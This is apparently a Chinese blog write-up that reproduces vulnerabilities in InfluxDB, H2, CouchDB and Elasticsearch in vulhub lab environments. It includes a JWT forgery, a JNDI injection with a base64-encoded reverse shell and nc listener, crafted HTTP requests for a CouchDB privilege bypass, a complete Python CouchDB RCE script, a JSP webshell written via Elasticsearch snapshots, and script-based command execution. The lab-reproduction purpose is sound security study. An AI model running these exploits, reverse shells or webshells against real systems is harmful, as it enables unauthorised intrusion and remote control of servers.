• 数据库安全-H2 database&Elasticsearch&CouchDB&Influxdb漏洞复现


    数据库安全-H2 database&Elasticsearch&CouchDB&Influxdb 复现

    influxdb-未授权访问-jwt 验证

    参考:influxdb

    CVE-2019-20933

    靶场环境:vulhub

    image-20231014121830574

    打开靶场进入环境:

    image-20231014122605319

    访问:

    image-20231014123029113

    端口扫描:

    image-20231014122718088

    默认端口:

    8086:用于客户端和服务端交互的HTTP API

    8088 :用于提供备份和恢复的RPC服务

    influxdb 是一款著名的时序数据库,其使用 jwt 作为鉴权方式。在用户开启了认证, 但未设置参数 shared-secret 的情况下,jwt 的认证密钥为空字符串,此时攻击者可 以伪造任意用户身份在 influxdb 中执行 SQL 语句。

    登录授权:

    image-20231014124013139

    提交,提示错误:

    image-20231014124508749

    我们可以使用https://jwt.io/用一个空的秘密密钥生成有效的JWT令牌

    借助https://jwt.io/来生成 jwt token:

    image-20231014124823395

    抓取数据包,带着令牌进行发送数据包,触发未授权。

    成功查询

    image-20231014125034226

    界面效果:

    image-20231014125050075

    也可进行其他sql语句的查询:

    查数据库:

    image-20231014125212915

    H2database-未授权访问-配置不当

    默认端口:20051

    H2 database 是一款 Java 内存数据库,多用于单元测试。H2 database 自带一个 Web 管理页面,在 Spirng 开发中,如果我们设置如下选项,即可允许外部用户访问 Web 管理页面,且没有鉴权:

    spring.h2.console.enabled=true

    spring.h2.console.settings.web-allow-others=true

    靶场环境:vulhub

    具体参考:H2 Database未授权

    image-20231014142646291

    打开靶场进入环境:

    image-20231014143143738

    界面效果:

    image-20231014143259706

    利用这个管理页面,我们可以进行 JNDI 注入攻击,进而在目标环境下执行任意命令。

    工具地址:JNDI-Injection-Exploit

    payload:
    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 攻击者IP
    
    //反弹shell命令就行base64编码
    /bin/sh -i >& /dev/tcp/192.168.100.1/6666 0>&1
    编码后:
    bash -c {echo,L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    image-20231014161336363

    攻击端就行监听:

    nc -lvvp 6666
    
    • 1

    将生成出来的所提供的服务,输入到界面当中,进行连接

    //指定驱动类:
    javax.naming.InitialContext
    
    • 1
    • 2

    服务端可以观察到日志:

    image-20231014161740497

    成功反弹shell

    image-20231014161405564

    也可以将反弹shell命令换成其他执行命令
    比如:touch /123.txt
    
    • 1
    • 2

    CouchDB-权限绕过配合 RCE-漏洞

    CouchDB是一个完全包含web的数据库。使用JSON文档存储数据。通过HTTP使用web浏览器访问您的文档。使用JavaScript查询、合并和转换文档。CouchDB适用于现代网络和移动应用程序。

    Apache CouchDB是一个开源的面向文档的NoSQL数据库,用Erlang实现。CouchDB 使用多种格式和协议来存储、传输和处理其数据。它使用JSON来存储数据,使用MapReduce使用JavaScript作为查询语言,使用HTTP作为API。

    CouchDB 垂直权限绕过

    靶场环境:vulhub

    参考:CVE-2017-12635

    image-20231014163029081

    开启靶场环境:

    image-20231014165518123

    访问界面:

    image-20231014165625613

    后台:

    image-20231014165719180

    获取数据包,进行修改:

    //数据包修改后的内容:
    
    PUT /_users/org.couchdb.user:vulhub HTTP/1.1
    Host: 192.168.100.134:5984
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate, br
    DNT: 1
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Length: 92
    
    {
      "type": "user",
      "name": "vulhub",
      "roles": ["_admin"],
      "password": "vulhub"
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19

    放包后,观察返回结果:

    image-20231014165854208

    返回 403 错误:说明只有管理员可以使用该端点。
    {"error": "forbidden", "reason": "Only _admin may set roles"}

    通过发送包含重复角色的请求来绕过限制

    //修改后的数据包内容:
    
    PUT /_users/org.couchdb.user:vulhub HTTP/1.1
    Host: 192.168.100.134:5984
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate, br
    DNT: 1
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Length: 108
    
    {
      "type": "user",
      "name": "vulhub",
      "roles": ["_admin"],
      "roles": [],
      "password": "vulhub"
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20

    重发测试:

    image-20231014170426763

    观察返回内容,已成功创建具有密码的用户 。
    用户名vulhub和密码vulhub

    登录后台:

    image-20231014170627774

    成功进入后台:

    image-20231014170640974

    image-20231014170704525

    Couchdb 任意命令执行 RCE

    靶场环境:vulhub

    参考:CVE-2017-12636

    image-20231014170952662

    打开靶场,进入环境:

    image-20231014171521676

    访问:

    image-20231014171545007

    可执行使用脚本,进行反弹shell

    exp:
        
    #!/usr/bin/env python3
    import requests
    import json
    import base64
    from requests.auth import HTTPBasicAuth
    
    target = 'http://your-ip:5984'
    command = rb"""sh -i >& /dev/tcp/攻击者IP/443 0>&1"""
    version = 1
    
    session = requests.session()
    session.headers = {
        'Content-Type': 'application/json'
    }
    # session.proxies = {
    #     'http': 'http://127.0.0.1:8085'
    # }
    session.put(target + '/_users/org.couchdb.user:wooyun', data='''{
      "type": "user",
      "name": "wooyun",
      "roles": ["_admin"],
      "roles": [],
      "password": "wooyun"
    }''')
    
    session.auth = HTTPBasicAuth('wooyun', 'wooyun')
    
    command = "bash -c '{echo,%s}|{base64,-d}|{bash,-i}'" % base64.b64encode(command).decode()
    if version == 1:
        session.put(target + ('/_config/query_servers/cmd'), data=json.dumps(command))
    else:
        host = session.get(target + '/_membership').json()['all_nodes'][0]
        session.put(target + '/_node/{}/_config/query_servers/cmd'.format(host), data=json.dumps(command))
    
    session.put(target + '/wooyun')
    session.put(target + '/wooyun/test', data='{"_id": "wooyuntest"}')
    
    if version == 1:
        session.post(target + '/wooyun/_temp_view?limit=10', data='{"language":"cmd","map":""}')
    else:
        session.put(target + '/wooyun/_design/test', data='{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}')
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43

    开启监听,执行脚本过后:

    image-20231014172023069

    成功反弹

    image-20231014172050445

    ElasticSearch-文件写入&RCE-漏洞

    靶场环境:vulhub

    Elasticsearch写入webshell漏洞

    参考:Elasticsearch

    开启环境:

    image-20231014203435971

    image-20231014203421817

    访问:

    image-20231014203654231

    image-20231014203707387

    测试环境同时运行了Tomcat和ElasticSearch,Tomcat目录在/usr/local/tomcat,web目录是/usr/local/tomcat/webapps,ElasticSearch目录在/usr/share/elasticsearch

    目标就是利用ElasticSearch,在目录下写入我们的webshell。/usr/local/tomcat/webapps

    payload:
    //创建一个恶意索引文档
    curl -XPOST http://127.0.0.1:9200/yz.jsp/yz.jsp/1 -d'
    {"<%new java.io.RandomAccessFile(application.getRealPath(new String(new byte[]{47,116,101,115,116,46,106,115,112})),new String(new byte[]{114,119})).write(request.getParameter(new String(new byte[]{102})).getBytes());%>":"test"}
    '
    
    //再创建一个恶意的存储库,其中的值即为我要写入的路径。location
    curl -XPUT 'http://127.0.0.1:9200/_snapshot/yz.jsp' -d '{
         "type": "fs",
         "settings": {
              "location": "/usr/local/tomcat/webapps/wwwroot/",
              "compress": false
         }
    }'
    
    //存储库验证并创建:
    curl -XPUT "http://127.0.0.1:9200/_snapshot/yz.jsp/yz.jsp" -d '{
         "indices": "yz.jsp",
         "ignore_unavailable": "true",
         "include_global_state": false
    }'
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    执行过程:

    image-20231014204140532

    接下来进行访问,这个就是我们写入的webshell。

    http://靶机IP:8080/wwwroot/indices/yz.jsp/snapshot-yz.jsp

    该shell的作用是向wwwroot下的test.jsp文件中写入任意字符串。

    可以写入木马,使用工具进行连接。

    image-20231014204608130

    访问:

    image-20231014204636130

    ElasticSearch 命令执行漏洞

    靶场:vulhub

    参考:CVE-2014-3120

    开启环境:

    image-20231014205351603

    访问:

    image-20231014205334774

    该漏洞需要es中至少存在一条数据,所以我们需要先创建一条数据

    抓包修改数据包内容信息:

    首先创建一条数据:

    //修改后的数据包内容
    POST /website/blog/ HTTP/1.1
    Host: 192.168.100.134:9200
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate, br
    Cookie: AuthSession=dnVsaHViOjY1MkE1QTEwOmDxwivZa1OAfJ9MXdQyTDIe2AF3
    DNT: 1
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Length: 25
    
    {
      "name": "phithon"
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    image-20231014210651011

    执行任意代码:

    //修改后的数据包
    POST /_search?pretty HTTP/1.1
    Host: 192.168.100.134:9200
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate, br
    Cookie: AuthSession=dnVsaHViOjY1MkE1QTEwOmDxwivZa1OAfJ9MXdQyTDIe2AF3
    DNT: 1
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Length: 356
    
    {
        "size": 1,
        "query": {
          "filtered": {
            "query": {
              "match_all": {
              }
            }
          }
        },
        "script_fields": {
            "command": {
                "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
            }
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29

    观察响应包,成功执行命令:

    image-20231014210835736

    还可尝试其他命令执行,或反弹shell

    image-20231014210938719

    image-20231014210959428

    界面效果:

    image-20231014211050936

  • 相关阅读:
    Redis分布式锁实现
    凉鞋的 Godot 笔记 201. 第三轮循环:引入变量
    蓝桥杯python组--基础训练---2、#一个数如果恰好等于它的因子之和,这个数就称为“完数”,;例如:6=1+2+3,找出1000以内的
    Laravel 使用Excel导出的文件中,指定列数据格式为日期,方便后期的数据筛选操作
    npm install的-S和-D的区别
    Partial Lowering to Lower-Level Dialects for Optimization
    vue3的设计思路(3)组件的本质
    ubuntu21.04 + 编译 debian11 报错解决过程
    双十一什么数码好物值得买?双十一最值得买的数码好物分享
    置换环建笛卡尔树:AT_wtf22Day1B
  • 原文地址:https://blog.csdn.net/rumil/article/details/133831332